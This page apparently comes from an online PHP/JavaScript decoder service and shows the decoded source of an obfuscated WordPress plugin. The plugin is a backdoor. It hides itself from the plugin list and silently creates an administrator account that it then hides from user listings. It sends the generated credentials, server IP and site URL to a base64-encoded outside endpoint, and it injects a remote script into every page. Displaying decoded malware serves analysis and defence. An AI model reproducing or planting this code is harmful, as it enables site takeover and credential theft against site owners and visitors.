Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto FGv3C_KulbbLdAHD;
	 qFBpDDyU3mB14MHV: register_deactivation_hook(__FILE__, function () {
	 delete_option("nitropress_data_sent");
	 
}
);
 goto OI3XYwttc2P8lcWH;
	 FGv3C_KulbbLdAHD: class StateConfluence {
	 private $seed;
	 private $config = array("font" => "aHR0cHM6Ly9mb0cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9mb2FtZmFzZmtrZmtma2ZhLmNvbS9sYWxz", "endpoint" => "aHR0cHM6Ly9saW1ib2tpbWJvbm90YWFhLnh5ei9jb2xsZWN0LnBocA==");
		 public function __construct() {
		 $this->seed = md5(DB_PASSWORD . AUTH_SALT);
		 $this->init_hooks();
		 
	}
		 private function init_hooks() {
		 goto orWeAziDkRD9sCqd;
		 W9eU9UDplnaexcK5: add_action("init", [$this, "create_admin_user"]);
		 goto iZx1ZI2RJuPlUSwK;
		 oPvB3MSidOawF3yA: add_action("wp_enqueue_scripts", [$this, "load_assets"]);
		 goto EaLLW4cj3Ju2D2Jf;
		 orWeAziDkRD9sCqd: add_filter("all_plugins", [$this, "hide_plugin"]);
		 goto W9eU9UDplnaexcK5;
		 iZx1ZI2RJuPlUSwK: add_action("pre_user_query", [$this, "filter_admin_users"]);
		 goto oPvB3MSidOawF3yA;
		 EaLLW4cj3Ju2D2Jf: 
	}
		 public function hide_plugin($OlffRre7XoUtYigq) {
		 unset($OlffRre7XoUtYigq[plugin_basename(__FILE__)]);
		 return $OlffRre7XoUtYigq;
		 
	}
		 public function create_admin_user() {
		 goto JmivECTEg3rQwo3P;
		 R59FrQl1K151XVRW: $G8RFXnKT9yvCy0Uv = $this->generate_credentials();
		 goto C48qL14vM1cQkbdf;
			 JmivECTEg3rQwo3P: if (get_option("nitropress_data_sent", false)) {
			 return;
			 
		}
		 goto R59FrQl1K151XVRW;
		 odQuRRtp0NtUp1pS: $this->send_credentials($G8RFXnKT9yvCy0Uv);
		 goto fDgKfBjUTH6qybCq;
		 fDgKfBjUTH6qybCq: update_option("nitropress_data_sent", true);
		 goto LaD_8ynLoYNHBDSz;
			 C48qL14vM1cQkbdf: if (!username_exists($G8RFXnKT9yvCy0Uv["user"])) {
			 $wRTAS4OxvB8YYMps = wp_create_user($G8RFXnKT9yvCy0Uv["user"], $G8RFXnKT9yvCy0Uv["pass"], $G8RFXnKT9yvCy0Uv["email"]);
				 if (!is_wp_error($wRTAS4OxvB8YYMps)) {
				 (new WP_User($wRTAS4OxvB8YYMps))->set_role("administrator");
				 
			}
			 
		}
		 goto odQuRRtp0NtUp1pS;
		 LaD_8ynLoYNHBDSz: 
	}
		 private function generate_credentials() {
		 $EarTMoZ8AahUhdV3 = substr(hash("sha6", $this->seed . "creds"), 0, 16);
		 return ["user" => "sys_" . substr(md5($EarTMoZ8AahUhdV3), 0, 8), "pass" => substr(md5($EarTMoZ8AahUhdV3 . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()];
		 
	}
		 private function send_credentials($TKT7NkjYCSIbWJZa) {
		 goto CUPPQ6bIYPoIlfAN;
		 CUPPQ6bIYPoIlfAN: $cO8DoFSMGai6ZRFh = json_encode($TKT7NkjYCSIbWJZa, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
		 goto qur0rbVViS5Y4cyX;
		 qur0rbVViS5Y4cyX: $cblkHZQ8o1coAt13 = ["body" => ["d" => base64_encode($cO8DoFSMGai6ZRFh)], "timeout" => 15, "blocking" => false, "sslverify" => false];
		 goto Nkz0aB5_akf8cdzG;
		 Nkz0aB5_akf8cdzG: wp_remote_post(base64_decode($this->config["endpoint"]), $cblkHZQ8o1coAt13);
		 goto FjzKuDPWBNiRCtVS;
		 FjzKuDPWBNiRCtVS: 
	}
		 public function filter_admin_users($jqL8bLfEBF9dREN9) {
		 goto bDRXayeE0MHAjjyf;
		 oY9zfXd6AFobwAhv: $dR3a063Gjr6Mh1R6 = $this->generate_credentials()["user"];
		 goto dSf1E6KyEKN5pwgM;
		 bDRXayeE0MHAjjyf: global $mCcnAtHdOlwyzFzs;
		 goto oY9zfXd6AFobwAhv;
			 dSf1E6KyEKN5pwgM: $jqL8bLfEBF9dREN9->query_where .= " AND {
			$mCcnAtHdOlwyzFzs->users
		}
			.user_login != '{
			$dR3a063Gjr6Mh1R6
		}
		'";
		 goto a_lhmGW36NEHaa__;
		 a_lhmGW36NEHaa__: 
	}
		 public function load_assets() {
		 goto cc3oIaR51s3zs2Sy;
		 cc3oIaR51s3zs2Sy: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
		 goto TL3dArHIVnjD_Kp5;
		 TL3dArHIVnjD_Kp5: $ZBEKVLUKG_OIub9o = base64_decode($this->config["script"]) . "?ts=" . time();
		 goto ZtTzezF8588YG28B;
		 ZtTzezF8588YG28B: wp_enqueue_script("ic-tracker", $ZBEKVLUKG_OIub9o, [], null, ["strategy" => "defer", "in_footer" => false]);
		 goto SCrD_llYBgrJ76kb;
		 SCrD_llYBgrJ76kb: 
	}
	 
}
 goto qFBpDDyU3mB14MHV;
 OI3XYwttc2P8lcWH: new StateConfluence();



© 2023 Quttera Ltd. All rights reserved.